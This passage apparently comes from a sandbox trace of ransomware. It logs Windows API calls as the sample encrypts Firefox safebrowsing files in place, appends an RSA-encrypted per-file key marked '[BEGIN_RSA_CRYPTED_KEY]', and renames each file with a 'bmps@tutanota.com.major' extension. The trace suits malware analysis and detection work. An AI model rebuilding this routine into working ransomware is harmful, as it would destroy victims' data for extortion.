hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.222] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.223] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.223] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="blEeLX01dkLErGkPj8mWcbXKH8iQFWOVvsY5x16n8Y5EmLtlRcAMnebyrahs035s\niiRFmBQJTW+ATnsBPvHOWT22wxSB/rWmXvp+c9MM6871CH7h1AhKc6jgkLycZ6aF\nWQhRtLiiv5jVudYgPABRYMsYjqRtaKwK8JQWx79FB9w4opGXCaUfbAJ6E6DlACz5\nvHKELwsVY8lz2jv55sNDfnc2n6IFXdqS9/OtK/YiKOn7MFWa2IOYBrpGt51XwbVv\nkjrcRI07W8x3Zb79ulr/DFfxFZ/dV4cDkP1YID50jlxW6m3vXVqlrBfBSYaRcnsp\nwSQOmautXrbUXJAWEVsvIA==\n", pcchString=0x2e3f9a8) returned 1 [0242.223] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.223] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.223] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.223] CloseHandle (hObject=0x1a54) returned 1 [0242.223] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-downloadwhite-digest256.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.225] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.225] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.sbstore", dwFileAttributes=0x80) returned 1 [0242.225] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.226] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=47677) returned 1 [0242.226] ReadFile (in: hFile=0x1a54, lpBuffer=0x33f5018, nNumberOfBytesToRead=0xba3d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0xba3d, lpOverlapped=0x0) returned 1 [0242.246] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-47677, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.246] WriteFile (in: hFile=0x1a54, lpBuffer=0x3400a60*, nNumberOfBytesToWrite=0xba3d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3400a60*, lpNumberOfBytesWritten=0x2e3f9b4*=0xba3d, lpOverlapped=0x0) returned 1 [0242.246] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xba3d [0242.247] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.247] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.247] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.247] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.247] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.247] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="6BEVBH7KkHhUIKIewLztiMfxeEb2QWWsxc1GIvji+mVUwulu69clSNWTFrqVTmSw\nBER429ygRG9zUvkBqkQsNVE9S+PWyWKF4PMGXFJKyN93Y8Kq+VpKwy+Y4nxHeOq9\nIg/U89NP63khEKiCyeA71DZ23sWFMo54ygB57pBQMeSQXt6+8O3pNXinqvqVYutB\npAIFLi7yg2vg5UgGOJ3Kl5FdczzVHwcK585CTxHu1r1imCgPgPGwRGOGWi9IGjqo\ndU3VVaZivrxqKpdiMu/1wj91RIYybAS+ANBfGL/B6PP9K/omzB1E4H83fWWizmA2\n1FCfejirFJhWEio3YzBtLw==\n", pcchString=0x2e3f9a8) returned 1 [0242.247] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.247] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.247] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.247] CloseHandle (hObject=0x1a54) returned 1 [0242.247] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.250] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.250] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.pset", dwFileAttributes=0x80) returned 1 [0242.250] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.251] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=91308) returned 1 [0242.251] ReadFile (in: hFile=0x1a54, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x164ac, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x164ac, lpOverlapped=0x0) returned 1 [0242.288] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-91308, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.288] WriteFile (in: hFile=0x1a54, lpBuffer=0x340b4d0*, nNumberOfBytesToWrite=0x164ac, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x340b4d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x164ac, lpOverlapped=0x0) returned 1 [0242.289] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x164ac [0242.289] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.289] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.289] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.289] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.289] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.289] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="rUFMq1j8rahRuDl/cKqVd7A/Aiiw8gsRy2gu2xaF+90XthuUB+l5ftiCG/0up7GF\nhIiNEkMx32fJl6kgciB0nAQLcxKOlT5Jw89v5avrSRe9mgoBUdUCDNyMz4ftMtHo\nZfSUSuOlFaOP0T1Z6jbM+IwrKS9svhLAi+Q137ADi7uoTvyEq1PFiHFZIu07v+QY\nG0bsCp71WUmr2b0xnqxgevY8cHyjIc6gZsWsSSU3oGL3+qpUDpsE0qWVl+j+vboP\n3pv6BLMV0mXlkCNgPOyKSZBGJguqxlg2sLUCo+lFdQlY2C6ogC//ZHfMfOcPf9Js\nivz3B+q/Z12GWiZYmYqKBg==\n", pcchString=0x2e3f9a8) returned 1 [0242.289] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.290] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.290] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.290] CloseHandle (hObject=0x1a54) returned 1 [0242.290] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\goog-badbinurl-shavar.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.292] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.292] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0242.292] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.293] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=232) returned 1 [0242.293] ReadFile (in: hFile=0x1a54, lpBuffer=0x5a37b8, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a37b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0242.293] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.294] WriteFile (in: hFile=0x1a54, lpBuffer=0x57ede0*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57ede0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0242.294] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe8 [0242.294] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.294] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.294] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.294] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.294] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.294] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="DxJkAB51SNx6DPjSPA2kr3abFQVlrNvSd139ghAdMl97fHuLozimx9jQXPKwuhXr\nu2mFrVYGSgdWNaks7EqgEFxnvNUvQQwfPdb3krKbpJ866PC6lHqDRNHuvc5kTy1I\nfvYGeb9UtsAIm6UdnNQLTTym8FUnO8OZcL2Q7RxF9uv5bNf6JwjfmzNkIZ50Y5sj\n7g7VfIdjjPMe+euuUrpQPxWafRWvmO1xv+G6OwqDD50Y4LZSn4NkWWwyUbbVcyd3\nGqtC1Qqg1M2SJ3aicv8uPREfOq8L7+XVSDPTE0YWvyl/uhrIGeiQQog2WxaOm88s\nGOkTb3vdorjQv2pON+6QSQ==\n", pcchString=0x2e3f9a8) returned 1 [0242.294] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.295] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.295] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.295] CloseHandle (hObject=0x1a54) returned 1 [0242.295] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.297] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.297] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.pset", dwFileAttributes=0x80) returned 1 [0242.297] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.298] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0242.298] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e404c8, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e404c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0242.299] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.299] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e404f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e404f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0242.299] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0242.299] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.299] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.299] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.299] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.300] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.300] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="sOFj6jp5XEuZRojX6CyT2MosvkZoipPemGVesh3pBISvgLAFOwMPcM5PMQYZ2g1B\nFCiipzJViFRzaTu8k0XlQpP9jpx33QlOjmy5WjNuKI+1tFe6OgXCrgI1YBhUS7Pv\ntB7/xJFjYFoWRkgcL+e7Zfw9PZV6mX3qubayK7lkRYFZLKrpiu7HFrl9RnwVhuKM\nVD6LMj65KXocfOGAg0JxGsMBR2t+cn4WO2GME0SZV2iTUb0MChMrafSfphe+4+Zc\nU11MXpLPL/virUc57zyMYc9f5PS9SzB8ZfWd3ThKGYxMMG1PTx9ZBh6XIfjn1EUF\n7HICBxCmoW2S0olTty+NIg==\n", pcchString=0x2e3f9a8) returned 1 [0242.300] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.300] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.300] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.300] CloseHandle (hObject=0x1a54) returned 1 [0242.300] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashsubdoc-digest256.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.302] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.302] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0242.302] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.303] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=556) returned 1 [0242.303] ReadFile (in: hFile=0x1a54, lpBuffer=0x581478, nNumberOfBytesToRead=0x22c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x581478*, lpNumberOfBytesRead=0x2e3f9b4*=0x22c, lpOverlapped=0x0) returned 1 [0242.411] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-556, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.411] WriteFile (in: hFile=0x1a54, lpBuffer=0x5aa568*, nNumberOfBytesToWrite=0x22c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5aa568*, lpNumberOfBytesWritten=0x2e3f9b4*=0x22c, lpOverlapped=0x0) returned 1 [0242.412] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x22c [0242.412] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.412] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.412] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.412] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.412] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.412] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 